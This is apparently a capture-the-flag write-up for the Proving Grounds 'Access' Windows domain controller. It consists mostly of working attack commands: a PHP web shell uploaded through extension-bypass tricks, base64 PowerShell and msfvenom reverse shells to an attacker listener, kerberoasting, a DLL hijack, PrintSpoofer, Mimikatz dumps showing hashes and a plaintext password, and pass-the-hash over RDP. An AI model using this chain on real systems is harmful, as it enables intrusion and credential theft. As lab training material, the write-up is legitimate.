Access from Proving Grounds Practice is an intermediate rated Windows machine, in which we first get a shell through a file upload vulnerability in a web application running in the context of a low privileged domain user svc_apache
.
Within that shell we perform a kerberoasting attack using Rubeus and obtain the credentials of the user svc_mssql
. In order to get a shell as svc_mssql
, we make use of a tool called RunasCs.
The user svc_mssql
has the Perform volume maintenance tasks user right (SeManageVolumePrivilege) assigned, which can be exploited to privileges to nt authority\network service
and to SYSTEM
afterwards.
Port Scanning
The open ports indicate that the target is a domain controller:
[...SNIP...]
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
|_http-title: Access The Event
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-02-12 13:20:56Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)
443/tcp open ssl/http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
|_http-title: Access The Event
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| http-methods:
|_ Potentially risky methods: TRACE
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
[...SNIP...]
NetExec gives us the Windows server version as well as the hostname and the domain name:
$ nxc smb 192.168.212.187
SMB 192.168.212.187 445 SERVER [*] Windows 10 / Server 2019 Build 17763 x64 (name:SERVER) (domain:access.offsec) (signing:True) (SMBv1:False)
After verifying the hostname is server.access.offsec
, we add it to our hosts file:
$ dig +short server.access.offsec @192.168.204.187
192.168.204.187
$ echo '192.168.204.187\tserver.access.offsec access.offsec' | sudo tee -a '/etc/hosts'
192.168.204.187 server.access.offsec access.offsec
File Upload to get a Reverse Shell as svc_apache
The web page contains a form, that can be filled out to buy tickets, while uploading an image file:
Using ffuf
we discover the uploads
path:
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://server.access.offsec/FUZZ/ -ic
[...SNIP...]
uploads [Status: 200, Size: 782, Words: 61, Lines: 16, Duration: 27ms]
[...SNIP...]
Our uploaded file is listed there:
We can use cURL to upload files:
$ echo "test" > test.txt
$ curl -k -X POST "http://server.access.offsec/Ticket.php" \
-F "your-name=Pi" \
-F "your-email=pi@access.offsec" \
-F "ticket-type=standard-access" \
-F "the_file=@test.txt;type=image/png" \
-F "submit=Purchase"
<script type="text/javascript">alert("You will shortly recieve payment link mail");window.location.href = "index.html";</script>
$ curl http://server.access.offsec/uploads/test.txt
test
The cURL request still works if we omit some of the form options (your-name
, your-email
and ticket-type
). When we try to upload a .php
file we will get back an error page:
$ echo '<?=`$_GET[cmd]`?>' > shell.php
$ curl -k -X POST "http://server.access.offsec/Ticket.php" -F "the_file=@shell.php;type=image/png" -F "submit=Purchase"
<script type="text/javascript">alert("This file extension is not allowed !!");window.location.href = "index.html";</script>
Trying several bypass techniques, we have success with .php.....
:
$ echo '<?=`$_GET[cmd]`?>' > shell.php.....
$ curl -k -X POST "http://server.access.offsec/Ticket.php" -F "the_file=@shell.php.....;type=image/png" -F "submit=Purchase"
<script type="text/javascript">alert("You will shortly recieve payment link mail");window.location.href = "index.html";</script>%
$ curl "http://server.access.offsec/uploads/shell.php.....?cmd=whoami"
access\svc_apache
Now that we can execute code, we’ll use the URL encoded PowerShell #3 (Base64) reverse shell on revshells.com to get a reverse shell:
$ cmd="powershell%20-e%20JABjAGwAaQBlAG4[...SNIP...]gBDAGwAbwBzAGUAKAApAA%3D%3D"
$ curl "http://server.access.offsec/uploads/shell.php.....?cmd=$cmd"
The listener that we started before, will get a connect-back:
$ rlwrap nc -lvnp 4444
[...SNIP...]
PS C:\xampp\htdocs\uploads> whoami
access\svc_apache
PS C:\xampp\htdocs\uploads> hostname
SERVER
Before we move on, we note that we can use the file upload vulnerability within the web application to transfer further tools:
$ curl -k -X POST "http://server.access.offsec/Ticket.php" -F "the_file=@PowerView.ps1;type=image/png" -F "submit=Purchase"
Kerberoasting to get svc_mssql
credentials
We upload and import PowerView to analyze the AD further. We notice, that there is a kerberoastable user account named svc_mssql
:
PS C:\xampp\htdocs\uploads> Get-NetUser -SPN | select samaccountname,serviceprincipalname
samaccountname serviceprincipalname
-------------- --------------------
krbtgt kadmin/changepw
svc_mssql MSSQLSvc/DC.access.offsec
We use Rubeus to get the TGS-REP hash:
PS C:\xampp\htdocs\uploads> .\Rubeus.exe kerberoast /nowrap
[...SNIP...]
[*] Hash : $krb5tgs$23$*svc_mssql$access.offsec$MSSQLSvc/DC.access.offsec@access.offsec*$E6757FE1E7374E25[...]08960D751
That hash can be copied to a file hashes.kerberoast
and cracked offline on our Kali machine:
$ hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt --force
We can verify that the credentials are valid:
$ nxc smb server.access.offsec -u svc_mssql -p trustno1
SMB 192.168.204.187 445 SERVER [*] Windows 10 / Server 2019 Build 17763 x64 (name:SERVER) (domain:access.offsec) (signing:True) (SMBv1:False)
SMB 192.168.204.187 445 SERVER [+] access.offsec\svc_mssql:trustno1
To spawn a shell as the svc_mssql
from our existing svc_apache
shell we use RunasCs:
PS C:\xampp\htdocs\uploads> .\RunasCs.exe svc_mssql trustno1 powershell.exe -r 192.168.45.155:4444
Our listener gets a reverse shell as svc_mssql
:
$ rlwrap nc -lvnp 4444
listening on [any] 4444 ...
[...]
PS C:\Windows\system32> whoami
whoami
access\svc_mssql
PS C:\Windows\system32> hostname
hostname
SERVER
Exploit SeManageVolumePrivilege
The svc_mssql
user has the SeManageVolumePrivilege
privilege, which allows a user to perform certain disk management operations:
PS C:\Windows\system32> whoami /priv
[...SNIP...]
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
[...SNIP...]
The SeManageVolumeExploit repository has a pre-compiled binary that we run as the svc_mssql
user to exploit this privilege to get write permissions on the C:
drive:
PS C:\xampp\htdocs\uploads> .\SeManageVolumeExploit.exe
.\SeManageVolumeExploit.exe
Entries changed: 917
DONE
PS C:\xampp\htdocs\uploads> icacls C:/Windows
[...SNIP...]
BUILTIN\Users:(M)
[...SNIP...]
We read here that one way to get a shell having write permissions on the C:
drive, is to write a custom DLL to C:\Windows\System32\wbem\tzres.dll
and call the systeminfo
command afterwards:
# on Kali
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.192 LPORT=4444 -f dll -o tzres.dll
# upload and then copy it to the target
PS C:\xampp\htdocs\uploads> copy .\tzres.dll c:\windows\system32\wbem\
After setting up a listener and running the systeminfo
command in one of the shells we have at hand, we finally get a reverse shell as nt authority\network service
:
$ rlwrap nc -lvnp 4444
[...]
C:\Windows\system32>whoami
whoami
nt authority\network service
At this point we can access the proof.txt
:
c:\Users\Administrator\Desktop>type proof.txt
type proof.txt
c302e[...]
We can further elevate privileges by using a named pipe impersonation, e.g. with PrintSpoofer:
c:\xampp\htdocs\uploads>.\PrintSpoofer64.exe -i -c powershell.exe
.\PrintSpoofer64.exe -i -c powershell.exe
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
[...]
PS C:\Windows\system32> whoami
whoami
access\server$
Using Mimikatz we can get the Administrator
’s NTLM hash:
mimikatz # lsadump::sam
[...]
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 85010ccdc73e309c2159bbc9d1ffdc16
[...]
mimikatz # lsadump::secrets
Domain : SERVER
SysKey : e9a15188a6ad2d20d26fe2bc984b369e
[...]
Secret : _SC_ApacheHTTPServer / service 'ApacheHTTPServer' with username : ACCESS\svc_apache
cur/text: ServiceApache!!
The credentials are valid, and the NTLM hash of Administrator
doesn’t change even after reverting the Access machine:
$ nxc smb server.access.offsec -u svc_apache -p 'ServiceApache!!'
[...]
SMB 192.168.133.187 445 SERVER [+] access.offsec\svc_apache:ServiceApache!!
We now modify the registry to enable RDP (fDenyTSConnections=0
) and allow Restricted Admin Mode (DisableRestrictedAdmin=0
) to be able to allow RDP logins without transmitting credentials:
$ impacket-psexec Administrator@server.access.offsec -hashes :85010ccdc73e309c2159bbc9d1ffdc16
[...]
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
C:\Windows\system32> reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
This way we can use a pass-the-hash (PtH) attack to login via RDP:
xfreerdp /cert-ignore /u:Administrator /pth:85010ccdc73e309c2159bbc9d1ffdc16 /v:server.access.offsec /dynamic-resolution /drive:.,share
We identify the setting within the Local Security Policy, in which the Perform volume maintenance tasks user right is assigned to svc_mssql
:
Aftermath
File Upload
According to the official writeup, we could have uploaded a crafted .htaccess
file to get code execution:
$ echo "AddType application/x-httpd-php .abc" > .htaccess
$ curl -k -X POST "http://server.access.offsec/Ticket.php" -F "the_file=@.htaccess;type=image/png" -F "submit=Purchase"
<script type="text/javascript">alert("You will shortly recieve payment link mail");window.location.href = "index.html";</script>%
$ echo '<?=`$_GET[cmd]`?>' > shell.abc
$ curl -k -X POST "http://server.access.offsec/Ticket.php" -F "the_file=@shell.abc;type=image/png" -F "submit=Purchase"
<script type="text/javascript">alert("You will shortly recieve payment link mail");window.location.href = "index.html";</script>%
$ curl "http://server.access.offsec/uploads/shell.abc?cmd=whoami"
access\svc_apache